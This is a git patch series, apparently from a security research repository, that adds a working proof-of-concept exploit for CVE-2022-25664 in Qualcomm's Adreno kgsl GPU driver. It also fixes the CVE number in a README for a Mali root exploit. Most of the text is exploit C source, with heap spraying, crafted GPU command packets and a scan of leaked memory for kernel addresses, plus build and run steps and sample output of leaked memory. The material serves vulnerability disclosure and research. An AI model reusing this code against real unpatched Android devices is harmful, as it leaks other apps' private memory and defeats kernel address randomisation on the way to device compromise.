cl[ 1] = __gen_uint(values->first_incomplete_task, 0, 31); + cl[ 2] = __gen_uint(values->fault_pointer, 0, 63); + cl[ 3] = __gen_uint(values->fault_pointer, 0, 63) >> 32; + cl[ 4] = __gen_uint(values->is_64b, 0, 0) | + __gen_uint(values->type, 1, 7) | + __gen_uint(values->barrier, 8, 8) | + __gen_uint(values->invalidate_cache, 9, 9) | + __gen_uint(values->suppress_prefetch, 11, 11) | + __gen_uint(values->enable_texture_mapper, 12, 12) | + __gen_uint(values->relax_dependency_1, 14, 14) | + __gen_uint(values->relax_dependency_2, 15, 15) | + __gen_uint(values->index, 16, 31); + cl[ 5] = __gen_uint(values->dependency_1, 0, 15) | + __gen_uint(values->dependency_2, 16, 31); + cl[ 6] = __gen_uint(values->next, 0, 63); + cl[ 7] = __gen_uint(values->next, 0, 63) >> 32; +} + + +#define MALI_JOB_HEADER_LENGTH 32 +struct mali_job_header_packed { uint32_t opaque[8]; }; +static inline void +MALI_JOB_HEADER_unpack(const uint8_t * restrict cl, + struct MALI_JOB_HEADER * restrict values) +{ + if (((const uint32_t *) cl)[4] & 0x2400) fprintf(stderr, "XXX: Invalid field unpacked at word 4\n"); + values->exception_status = __gen_unpack_uint(cl, 0, 31); + values->first_incomplete_task = __gen_unpack_uint(cl, 32, 63); + values->fault_pointer = __gen_unpack_uint(cl, 64, 127); + values->is_64b = __gen_unpack_uint(cl, 128, 128); + values->type = __gen_unpack_uint(cl, 129, 135); + values->barrier = __gen_unpack_uint(cl, 136, 136); + values->invalidate_cache = __gen_unpack_uint(cl, 137, 137); + values->suppress_prefetch = __gen_unpack_uint(cl, 139, 139); + values->enable_texture_mapper = __gen_unpack_uint(cl, 140, 140); + values->relax_dependency_1 = __gen_unpack_uint(cl, 142, 142); + values->relax_dependency_2 = __gen_unpack_uint(cl, 143, 143); + values->index = __gen_unpack_uint(cl, 144, 159); + values->dependency_1 = __gen_unpack_uint(cl, 160, 175); + values->dependency_2 = __gen_unpack_uint(cl, 176, 191); + values->next = __gen_unpack_uint(cl, 192, 255); +} + +static inline const char * +mali_job_type_as_str(enum mali_job_type imm) +{ + switch (imm) { + case MALI_JOB_TYPE_NOT_STARTED: return "Not started"; + case MALI_JOB_TYPE_NULL: return "Null"; + case MALI_JOB_TYPE_WRITE_VALUE: return "Write value"; + case MALI_JOB_TYPE_CACHE_FLUSH: return "Cache flush"; + case MALI_JOB_TYPE_COMPUTE: return "Compute"; + case MALI_JOB_TYPE_VERTEX: return "Vertex"; + case MALI_JOB_TYPE_GEOMETRY: return "Geometry"; + case MALI_JOB_TYPE_TILER: return "Tiler"; + case MALI_JOB_TYPE_FUSED: return "Fused"; + case MALI_JOB_TYPE_FRAGMENT: return "Fragment"; + default: return "XXX: INVALID"; + } +} + +static inline void +MALI_JOB_HEADER_print(FILE *fp, const struct MALI_JOB_HEADER * values, unsigned indent) +{ + fprintf(fp, "%*sException Status: %u\n", indent, "", values->exception_status); + fprintf(fp, "%*sFirst Incomplete Task: %u\n", indent, "", values->first_incomplete_task); + fprintf(fp, "%*sFault Pointer: 0x%" PRIx64 "\n", indent, "", values->fault_pointer); + fprintf(fp, "%*sIs 64b: %s\n", indent, "", values->is_64b ? "true" : "false"); + fprintf(fp, "%*sType: %s\n", indent, "", mali_job_type_as_str(values->type)); + fprintf(fp, "%*sBarrier: %s\n", indent, "", values->barrier ? "true" : "false"); + fprintf(fp, "%*sInvalidate Cache: %s\n", indent, "", values->invalidate_cache ? "true" : "false"); + fprintf(fp, "%*sSuppress Prefetch: %s\n", indent, "", values->suppress_prefetch ? "true" : "false"); + fprintf(fp, "%*sEnable Texture Mapper: %s\n", indent, "", values->enable_texture_mapper ? "true" : "false"); + fprintf(fp, "%*sRelax Dependency 1: %s\n", indent, "", values->relax_dependency_1 ? "true" : "false"); + fprintf(fp, "%*sRelax Dependency 2: %s\n", indent, "", values->relax_dependency_2 ? "true" : "false"); + fprintf(fp, "%*sIndex: %u\n", indent, "", values->index); + fprintf(fp, "%*sDependency 1: %u\n", indent, "", values->dependency_1); + fprintf(fp, "%*sDependency 2: %u\n", indent, "", values->dependency_2); + fprintf(fp, "%*sNext: 0x%" PRIx64 "\n", indent, "", values->next); +} + +static inline void +MALI_WRITE_VALUE_JOB_PAYLOAD_pack(uint32_t * restrict cl, + const struct MALI_WRITE_VALUE_JOB_PAYLOAD * restrict values) +{ + cl[ 0] = __gen_uint(values->address, 0, 63); + cl[ 1] = __gen_uint(values->address, 0, 63) >> 32; + cl[ 2] = __gen_uint(values->type, 0, 31); + cl[ 3] = 0; + cl[ 4] = __gen_uint(values->immediate_value, 0, 63); + cl[ 5] = __gen_uint(values->immediate_value, 0, 63) >> 32; +} + + +#define MALI_WRITE_VALUE_JOB_PAYLOAD_LENGTH 24 +#define MALI_WRITE_VALUE_JOB_PAYLOAD_header 0 + + +struct mali_write_value_job_payload_packed { uint32_t opaque[6]; }; +static inline void +MALI_WRITE_VALUE_JOB_PAYLOAD_unpack(const uint8_t * restrict cl, + struct MALI_WRITE_VALUE_JOB_PAYLOAD * restrict values) +{ + if (((const uint32_t *) cl)[3] & 0xffffffff) fprintf(stderr, "XXX: Invalid field unpacked at word 3\n"); + values->address = __gen_unpack_uint(cl, 0, 63); + values->type = __gen_unpack_uint(cl, 64, 95); + values->immediate_value = __gen_unpack_uint(cl, 128, 191); +} + +static inline const char * +mali_write_value_type_as_str(enum mali_write_value_type imm) +{ + switch (imm) { + case MALI_WRITE_VALUE_TYPE_CYCLE_COUNTER: return "Cycle Counter"; + case MALI_WRITE_VALUE_TYPE_SYSTEM_TIMESTAMP: return "System Timestamp"; + case MALI_WRITE_VALUE_TYPE_ZERO: return "Zero"; + case MALI_WRITE_VALUE_TYPE_IMMEDIATE_8: return "Immediate 8"; + case MALI_WRITE_VALUE_TYPE_IMMEDIATE_16: return "Immediate 16"; + case MALI_WRITE_VALUE_TYPE_IMMEDIATE_32: return "Immediate 32"; + case MALI_WRITE_VALUE_TYPE_IMMEDIATE_64: return "Immediate 64"; + default: return "XXX: INVALID"; + } +} + +static inline void +MALI_WRITE_VALUE_JOB_PAYLOAD_print(FILE *fp, const struct MALI_WRITE_VALUE_JOB_PAYLOAD * values, unsigned indent) +{ + fprintf(fp, "%*sAddress: 0x%" PRIx64 "\n", indent, "", values->address); + fprintf(fp, "%*sType: %s\n", indent, "", mali_write_value_type_as_str(values->type)); + fprintf(fp, "%*sImmediate Value: 0x%" PRIx64 "\n", indent, "", values->immediate_value); +} + +struct mali_write_value_job_packed { + uint32_t opaque[14]; +}; + +#define MALI_JOB_HEADER_header \ + .is_64b = true + +#define MALI_WRITE_VALUE_JOB_LENGTH 56 +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_TYPE struct MALI_JOB_HEADER +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_header MALI_JOB_HEADER_header +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_pack MALI_JOB_HEADER_pack +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_unpack MALI_JOB_HEADER_unpack +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_print MALI_JOB_HEADER_print +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_OFFSET 0 +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_TYPE struct MALI_WRITE_VALUE_JOB_PAYLOAD +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_header MALI_WRITE_VALUE_JOB_PAYLOAD_header +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_pack MALI_WRITE_VALUE_JOB_PAYLOAD_pack +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_unpack MALI_WRITE_VALUE_JOB_PAYLOAD_unpack +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_print MALI_WRITE_VALUE_JOB_PAYLOAD_print +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_OFFSET 32 + +#endif From b209d0e45893d330f1e7c512b08250b16d20a990 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Mon, 23 Jan 2023 15:23:20 +0000 Subject: [PATCH 092/140] Correct CVE number. --- SecurityExploits/Android/Mali/CVE_2022_38181/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Android/Mali/CVE_2022_38181/README.md b/SecurityExploits/Android/Mali/CVE_2022_38181/README.md index 71df73d..b89efc7 100644 --- a/SecurityExploits/Android/Mali/CVE_2022_38181/README.md +++ b/SecurityExploits/Android/Mali/CVE_2022_38181/README.md @@ -1,4 +1,4 @@ -## Exploit for CVE-2022-20186 +## Exploit for CVE-2022-38181 The write up can be found [here](https://github.blog/2023-01-23-pwning-the-all-google-phone-with-a-non-google-bug). This is a bug in the Arm Mali kernel driver that I reported in July 2022. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. From 1be133fe561e453987d8a6e7439bd576a6a6a274 Mon Sep 17 00:00:00 2001 From: JarLob Date: Thu, 16 Feb 2023 13:17:08 +0100 Subject: [PATCH 093/140] Add Ruby to the list --- .github/ISSUE_TEMPLATE/all-for-one.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml index 80c62dc..45c44ee 100644 --- a/.github/ISSUE_TEMPLATE/all-for-one.yml +++ b/.github/ISSUE_TEMPLATE/all-for-one.yml @@ -34,6 +34,7 @@ body: - Javascript - GoLang - Python + - Ruby - C/C++ - C# validations: From 3cd53e14a97bcd7854fb64f6bd03c1ce93bf216a Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Tue, 21 Feb 2023 11:29:33 +0000 Subject: [PATCH 094/140] Initial commit. --- .../Android/Qualcomm/CVE_2022_25664/README.md | 48 ++++ .../CVE_2022_25664/adreno_kernel/adreno_cmd.c | 76 ++++++ .../CVE_2022_25664/adreno_kernel/adreno_cmd.h | 40 +++ .../adreno_kernel/adreno_kernel.c | 225 +++++++++++++++++ .../CVE_2022_25664/adreno_kernel/dma_search.h | 94 +++++++ .../CVE_2022_25664/adreno_kernel/kgsl_utils.c | 80 ++++++ .../CVE_2022_25664/adreno_kernel/kgsl_utils.h | 237 ++++++++++++++++++ .../CVE_2022_25664/adreno_user/adreno.h | 218 ++++++++++++++++ .../CVE_2022_25664/adreno_user/adreno_user.c | 221 ++++++++++++++++ 9 files changed, 1239 insertions(+) create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/README.md create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.c create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.h create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_kernel.c create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/dma_search.h create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/kgsl_utils.c create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/kgsl_utils.h create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_user/adreno.h create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_user/adreno_user.c diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/README.md b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/README.md new file mode 100644 index 0000000..cfb7192 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/README.md @@ -0,0 +1,48 @@ +## CVE-2022-25664 + +The write up can be found [here](https://github.blog/2023-02-23-the-code-that-wasnt-there-reading-memory-on-an-android-device-by-accident). This is a bug in the Qualcomm kgsl driver that I reported in December 2021. The bug can be used to leak information in other user apps, as well as in the kernel from an untrusted app. + +The directory `adreno_user` contains a proof-of-concept for leaking memory from other applications. It'll repeatedly trigger the bug and read the stale information contained in memory pages. There is no telling or control over what information is being leaked. To test this, compile with the following command: + +``` +aarch64-linux-android30-clang -O2 adreno_user.c -o adreno_user +``` + +and then push `adreno_user` to the device and run it. It should print out non zero memory content: + +``` +flame:/ $ /data/local/tmp/adreno_user +hexdump(0x50000000, 0x190) +00000000 0d 00 00 00 00 00 00 00 22 55 00 00 00 00 00 00 |........"U......| +00000010 fb 84 67 b5 73 00 00 b4 e0 84 67 b5 73 00 00 b4 |..g.s.....g.s...| +00000020 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 |................| +00000030 b0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +00000040 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| +00000050 cb e9 67 e5 73 00 00 b4 00 00 00 00 00 00 00 00 |..g.s...........| +00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +00000070 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +00000080 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +000000a0 fb 84 67 b5 73 00 00 b4 e0 84 67 b5 73 00 00 b4 |..g.s.....g.s...| +....... +``` + +The directory `adreno_kernel` contains a proof-of-concept for leaking kernel information for KASLR bypass. It'll repeatedly trigger the bug and tries to leak kernel addresses. Depending on whether the device is running kernel branch 4.x or 5.x, the Macro `KERNEL_BRANCH` in `adreno_kernel.c` should be set to either `4` or `5`. + +To test, compile with + +``` +aarch64-linux-android30-clang adreno_kernel.c adreno_cmd.c kgsl_utils.c -O3 -o adreno_kernel +``` + +and then run it on the device. If successful, it should print out the kernel addresses of some objects and functions: + +``` +flame:/ $ /data/local/tmp/adreno_kernel +found dma fence object: +kgsl_syncsource_fence_ops address: ffffff9daaea8b48 +object address: fffffffe116100a0 +syncsource address: fffffffe0b244480 +``` + +It has been tested on a number of devices. The time it takes (depends on the success rate of a single leak) varies across devices. It is relatively quick Pixel 4, but takes longer on the Samsung Z flip 3. diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.c b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.c new file mode 100644 index 0000000..9a9b279 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.c @@ -0,0 +1,76 @@ +#include "adreno_cmd.h" + +uint cp_gpuaddr(uint *cmds, uint64_t gpuaddr) +{ + uint *start = cmds; + + *cmds++ = lower_32_bits(gpuaddr); + *cmds++ = upper_32_bits(gpuaddr); + + return cmds - start; +} + +uint pm4_calc_odd_parity_bit(uint val) { + return (0x9669 >> (0xf & ((val) ^ + ((val) >> 4) ^ ((val) >> 8) ^ ((val) >> 12) ^ + ((val) >> 16) ^ ((val) >> 20) ^ ((val) >> 24) ^ + ((val) >> 28)))) & 1; +} + +uint cp_type7_packet(uint opcode, uint cnt) { + return CP_TYPE7_PKT | ((cnt) << 0) | + (pm4_calc_odd_parity_bit(cnt) << 15) | + (((opcode) & 0x7F) << 16) | + ((pm4_calc_odd_parity_bit(opcode) << 23)); +} + +uint cp_wait_for_me( + uint *cmds) +{ + uint *start = cmds; + + *cmds++ = cp_type7_packet(CP_WAIT_FOR_ME, 0); + + return cmds - start; +} + +uint cp_mem_packet(int opcode, uint size, uint num_mem) { + return cp_type7_packet(opcode, size + num_mem); +} + +uint cp_wait_for_idle( + uint *cmds) +{ + uint *start = cmds; + + *cmds++ = cp_type7_packet(CP_WAIT_FOR_IDLE, 0); + + return cmds - start; +} + +uint cp_type4_packet(uint opcode, uint cnt) +{ + return CP_TYPE4_PKT | ((cnt) << 0) | + (pm4_calc_odd_parity_bit(cnt) << 7) | + (((opcode) & 0x3FFFF) << 8) | + ((pm4_calc_odd_parity_bit(opcode) << 27)); +} + +uint cp_register( + unsigned int reg, unsigned int size) +{ + return cp_type4_packet(reg, size); +} + +uint cp_invalidate_state( + uint *cmds) +{ + uint *start = cmds; + + *cmds++ = cp_type7_packet(CP_SET_DRAW_STATE, 3); + *cmds++ = 0x40000; + *cmds++ = 0; + *cmds++ = 0; + + return cmds - start; +} diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.h b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.h new file mode 100644 index 0000000..01cfeb5 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.h @@ -0,0 +1,40 @@ +#ifndef ADRENO_CMD_H +#define ADRENO_CMD_H + +#include + +#define CP_TYPE4_PKT (4 << 28) +#define CP_TYPE7_PKT (7 << 28) + +#define CP_NOP 0x10 +#define CP_WAIT_FOR_ME 0x13 +#define CP_WAIT_FOR_IDLE 0x26 +#define CP_WAIT_REG_MEM 0x3c +#define CP_MEM_WRITE 0x3d +#define CP_INDIRECT_BUFFER_PFE 0x3f +#define CP_SET_DRAW_STATE 0x43 +#define CP_MEM_TO_MEM 0x73 +#define CP_SET_PROTECTED_MODE 0x5f + +#define upper_32_bits(n) ((uint32_t)(((n) >> 16) >> 16)) +#define lower_32_bits(n) ((uint32_t)(n)) + +uint cp_gpuaddr(uint *cmds, uint64_t gpuaddr); + +uint pm4_calc_odd_parity_bit(uint val); + +uint cp_type7_packet(uint opcode, uint cnt); + +uint cp_wait_for_me(uint *cmds); + +uint cp_mem_packet(int opcode, uint size, uint num_mem); + +uint cp_wait_for_idle(uint *cmds); + +uint cp_type4_packet(uint opcode, uint cnt); + +uint cp_register(unsigned int reg, unsigned int size); + +uint cp_invalidate_state(uint *cmds); + +#endif diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_kernel.c b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_kernel.c new file mode 100644 index 0000000..474f706 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_kernel.c @@ -0,0 +1,225 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#include "kgsl_utils.h" +#include "adreno_cmd.h" +#include "dma_search.h" + +#define CMD_SIZE 4 + +#define OBJS_PER_SLAB (0x1000/OBJECT_SIZE) + +#define CPU_PARTIAL 30 + +#define MMAP_SPRAY 1000 + +#define OBJ_SPRAY 10000 + +#define CPU_SETSIZE 1024 +#define __NCPUBITS (8 * sizeof (unsigned long)) +typedef struct +{ + unsigned long __bits[CPU_SETSIZE / __NCPUBITS]; +} cpu_set_t; + +#define CPU_SET(cpu, cpusetp) \ + ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS))) +#define CPU_ZERO(cpusetp) \ + memset((cpusetp), 0, sizeof(cpu_set_t)) + +#define KERNEL_BRANCH KERNEL_4 + +void migrate_to_cpu(int i) +{ + int syscallres; + pid_t pid = gettid(); + cpu_set_t cpu; + CPU_ZERO(&cpu); + CPU_SET(i, &cpu); + + syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu); + if (syscallres) + { + err(1, "Error in the syscall setaffinity"); + } +} + +static uint32_t* map_anon(int kgsl_fd, uint64_t* addr, size_t size) { + uint32_t* out = NULL; + out = (uint32_t*)mmap(NULL, size, PROT_READ|PROT_WRITE, + MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + if (out == MAP_FAILED) { + err(1, "shared_mem_buf failed"); + } + int ret = kgsl_map(kgsl_fd, (unsigned long)out, size, addr, 0); + + if (ret == -1) { + err(1, "kgsl_map failed %p\n", out); + } + return out; +} + +static uint32_t write_gpu_cmd(uint32_t* write_cmd_buf, uint64_t shared_mem_gpuaddr, uint32_t n) { + uint32_t* write_cmds; + + write_cmd_buf = write_cmd_buf + 0x1000/CMD_SIZE - 5; + + write_cmds = write_cmd_buf; + + *write_cmds++ = cp_type7_packet(CP_NOP, 1); + *write_cmds++ = 0xffffffff; + + *write_cmds++ = cp_type7_packet(CP_MEM_WRITE, 2 + n); + + write_cmds += cp_gpuaddr(write_cmds, shared_mem_gpuaddr); + + return (write_cmds - write_cmd_buf + n) * CMD_SIZE; +} + + +static int io_setup(unsigned nr, aio_context_t *ctxp) +{ + return syscall(__NR_io_setup, nr, ctxp); +} + +static int io_destroy(aio_context_t ctx) +{ + return syscall(__NR_io_destroy, ctx); +} + +int find_address() { + uint32_t *write_cmd_buf; + uint64_t *shared_mem_buf; + void *shared_mem_buf2; + uint64_t shared_mem_gpuaddr2; + uint32_t n = 2048; + uint64_t shared_mem_size = 0x2000; + uint32_t cmd_size; + uint64_t write_cmd_gpuaddr = 0; + uint64_t shared_mem_gpuaddr = 0; + uint64_t hole_size = 0x1000; + int fds[OBJS_PER_SLAB * CPU_PARTIAL]; + int spray_fds[OBJ_SPRAY]; + + int fd = open("/dev/kgsl-3d0", O_RDWR); + + if (fd == -1) { + err(1, "cannot open kgsl"); + } + + uint32_t ctx_id; + if (kgsl_ctx_create(fd, &ctx_id)) { + err(1, "kgsl_ctx_create failed."); + } + + struct kgsl_syncsource_create syncsource = {0}; + if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE, &syncsource) < 0) { + err(1, "unable to create syncsource\n"); + } + + for (int i = 0; i < OBJ_SPRAY; i++) { + struct kgsl_syncsource_create_fence create_fence = {.id = syncsource.id}; + if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE, &create_fence) < 0) { + err(1, "Failed to create fence"); + } + spray_fds[i] = create_fence.fence_fd; + } + + for (int i = 0; i < CPU_PARTIAL * OBJS_PER_SLAB; i++) { + struct kgsl_syncsource_create_fence create_fence = {.id = syncsource.id}; + if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE, &create_fence) < 0) { + err(1, "Failed to create fence"); + } + fds[i] = create_fence.fence_fd; + } + + shared_mem_buf = (uint64_t*)map_anon(fd, &shared_mem_gpuaddr, shared_mem_size); + write_cmd_buf = map_anon(fd, &write_cmd_gpuaddr, 0x1000); + uint64_t write_cmd_gpuaddr_start = write_cmd_gpuaddr; + + write_cmd_gpuaddr = write_cmd_gpuaddr + 0x1000 - 5 * CMD_SIZE; + + uint32_t* write_cmd_buf_start = write_cmd_buf; + cmd_size = write_gpu_cmd(write_cmd_buf, shared_mem_gpuaddr, n); + + usleep(50000); + void* hole = mmap(NULL, hole_size, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + shared_mem_buf2 = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + + if (shared_mem_buf2 == MAP_FAILED) { + err(1, "shared_mem_buf2 failed"); + } + + munmap(hole, hole_size); + aio_context_t ctx = 0; + uint32_t nr_events = 32; + + migrate_to_cpu(0); + for (int i = 0; i < OBJS_PER_SLAB; i++) { + close(fds[i + (CPU_PARTIAL - 1) * OBJS_PER_SLAB]); + } + + for (int i = 0; i < (CPU_PARTIAL - 1); i++) { + close(fds[i * OBJS_PER_SLAB]); + } + + if (io_setup(nr_events, &ctx) < 0) err(1, "io_setup error\n"); + if (kgsl_map(fd, (unsigned long) shared_mem_buf2, shared_mem_size, &shared_mem_gpuaddr2, 1) == -1) { + err(1, "kgsl_map failed (shared_mem_buf2)"); + } + + if (kgsl_gpu_command_payload(fd, ctx_id, 0, cmd_size, 1, 0, write_cmd_gpuaddr, cmd_size)) { + err(1, "gpu_command failed."); + } + usleep(150000); + if (shared_mem_gpuaddr2 != write_cmd_gpuaddr_start + 0x1000) { + err(1, "wrong address layout shared_mem_gpuaddr2 %lx write_cmd_gpuaddr %lx\n", shared_mem_gpuaddr2, write_cmd_gpuaddr); + } + if (ctx != (uint64_t)shared_mem_buf2 + 0x1000) { + err(1, "wrong address layout shared_mem_buf2 %p ctx %lx\n", shared_mem_buf2, ctx); + } + + int ret = dma_search(shared_mem_buf + 0x1000/8, 0x1000/8, KERNEL_BRANCH); + if (ret == -1) { + io_destroy(ctx); + munmap(shared_mem_buf2, 0x1000); + munmap(shared_mem_buf, 0x2000); + munmap(write_cmd_buf, 0x1000); + for (int i = 0; i < (CPU_PARTIAL * OBJS_PER_SLAB); i++) close(fds[i]); + for (int i = 0; i < OBJ_SPRAY; i++) close(spray_fds[i]); + close(fd); + } + return ret; +} + +int main() { + + for (int i = 0; i < MMAP_SPRAY; i++) { + mmap(NULL, 0x1000,PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + } + int success = -1; + int counter = 0; + while (success == -1) { + success = find_address(); + counter++; + if (counter % 20 == 0) printf("failed after %d\n", counter); + } + +} diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/dma_search.h b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/dma_search.h new file mode 100644 index 0000000..b103107 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/dma_search.h @@ -0,0 +1,94 @@ +#ifndef DMA_SEARCH_H +#define DMA_SEARCH_H + +#include +#include + +#define OBJECT_SIZE 128 + +#define STRIDE (OBJECT_SIZE/8) + +struct dma_info { + uint64_t ops; + uint64_t cb_list; + uint64_t spinlock; + uint64_t context; +}; + +enum dma_search_type { + KERNEL_4, + KERNEL_5 +}; + +int try_match_object_54(uint64_t* obj, struct dma_info* out) { + //No ops + if (obj[1] == 0) return 0; + //cb_list not initialized + if (obj[2] != obj[3]) return 0; + //no cb_list + if (obj[2] == 0 || obj[3] == 0) return 0; + if (out->ops == 0) { + out->ops = obj[1]; + out->cb_list = obj[2]; + out->context = obj[4]; + return 1; + } + if (out->ops != obj[1]) { + printf("out->ops %lx obj[1] %lx\n", out->ops, obj[1]); + return 0; + } + return 1; +} + +int try_match_object_414(uint64_t* obj, struct dma_info* out) { + //No ops + if (obj[1] == 0) return 0; + //rcu not zero + if (obj[2] != 0 || obj[3] != 0) return 0; + //cb_list not initialized + if (obj[4] != obj[5]) return 0; + //no cb_list + if (obj[4] == 0 || obj[5] == 0) return 0; + //no spinlock + if (obj[6] == 0) return 0; + if (out->ops == 0) { + out->ops = obj[1]; + out->cb_list = obj[4]; + out->spinlock = obj[6]; + out->context = obj[7]; + return 1; + } + if (out->ops != obj[1]) { + printf("out->ops %lx obj[1] %lx\n", out->ops, obj[1]); + return 0; + } + if (out->spinlock != obj[6]) { + printf("out->spinlock %lx obj[6] %lx\n", out->spinlock, obj[6]); + return 0; + } + return 1; +}; + +int dma_search(uint64_t* region, size_t len, enum dma_search_type type) { + if (len % OBJECT_SIZE != 0) err(1, "len is not divisible by object size\n"); + struct dma_info info = {0}; + int match = 0; + for (int i = 0; i < len; i+= STRIDE) { + if (type == KERNEL_4) { + match += try_match_object_414(region + i, &info); + } else if (type == KERNEL_5){ + match += try_match_object_54(region + i, &info); + } else { + err(1, "unknown kernel branch\n"); + } + } + if (match > 3) { + printf("found dma fence object:\n"); + printf("kgsl_syncsource_fence_ops address: %lx\n", info.ops); + printf("object address: %lx\n", info.cb_list); + return 1; + } + return -1; +}; + +#endif diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/kgsl_utils.c b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/kgsl_utils.c new file mode 100644 index 0000000..1fc3c5a --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/kgsl_utils.c @@ -0,0 +1,80 @@ +#include + +#include "kgsl_utils.h" + +int kgsl_ctx_create(int fd, uint32_t *ctx_id) +{ + struct kgsl_drawctxt_create req = { + .flags = 0x00001812, + }; + int ret; + + ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &req); + if (ret) + return ret; + + *ctx_id = req.drawctxt_id; + + return 0; +} + +int kgsl_gpu_command_payload(int fd, uint32_t ctx_id, uint64_t gpuaddr, uint32_t cmdsize, uint32_t n, uint32_t target_idx, uint64_t target_cmd, uint32_t target_size) { + struct kgsl_command_object *cmds; + + struct kgsl_gpu_command req = { + .context_id = ctx_id, + .cmdsize = sizeof(struct kgsl_command_object), + .numcmds = n, + }; + size_t cmds_size; + uint32_t i; + + cmds_size = n * sizeof(struct kgsl_command_object); + + cmds = (struct kgsl_command_object *) malloc(cmds_size); + + if (cmds == NULL) { + return -1; + } + + memset(cmds, 0, cmds_size); + + for (i = 0; i < n; i++) { + cmds[i].flags = KGSL_CMDLIST_IB; + + if (i == target_idx) { + cmds[i].gpuaddr = target_cmd; + cmds[i].size = target_size; + } + else { + /* the shift here is helpful for debugging failed alignment */ + cmds[i].gpuaddr = gpuaddr + (i << 16); + cmds[i].size = cmdsize; + } + } + req.cmdlist = (unsigned long) cmds; + return ioctl(fd, IOCTL_KGSL_GPU_COMMAND, &req); +} + +int kgsl_map(int fd, unsigned long addr, size_t len, uint64_t *gpuaddr, int readonly) { + struct kgsl_map_user_mem req = { + .len = len, + .offset = 0, + .hostptr = addr, + .memtype = KGSL_USER_MEM_TYPE_ADDR, +// .flags = KGSL_MEMFLAGS_USE_CPU_MAP, + }; + if (readonly) { + req.flags |= KGSL_MEMFLAGS_GPUREADONLY; + } + int ret; + + ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &req); + if (ret) + return ret; + + *gpuaddr = req.gpuaddr; + + return 0; +} + diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/kgsl_utils.h b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/kgsl_utils.h new file mode 100644 index 0000000..79033dc --- 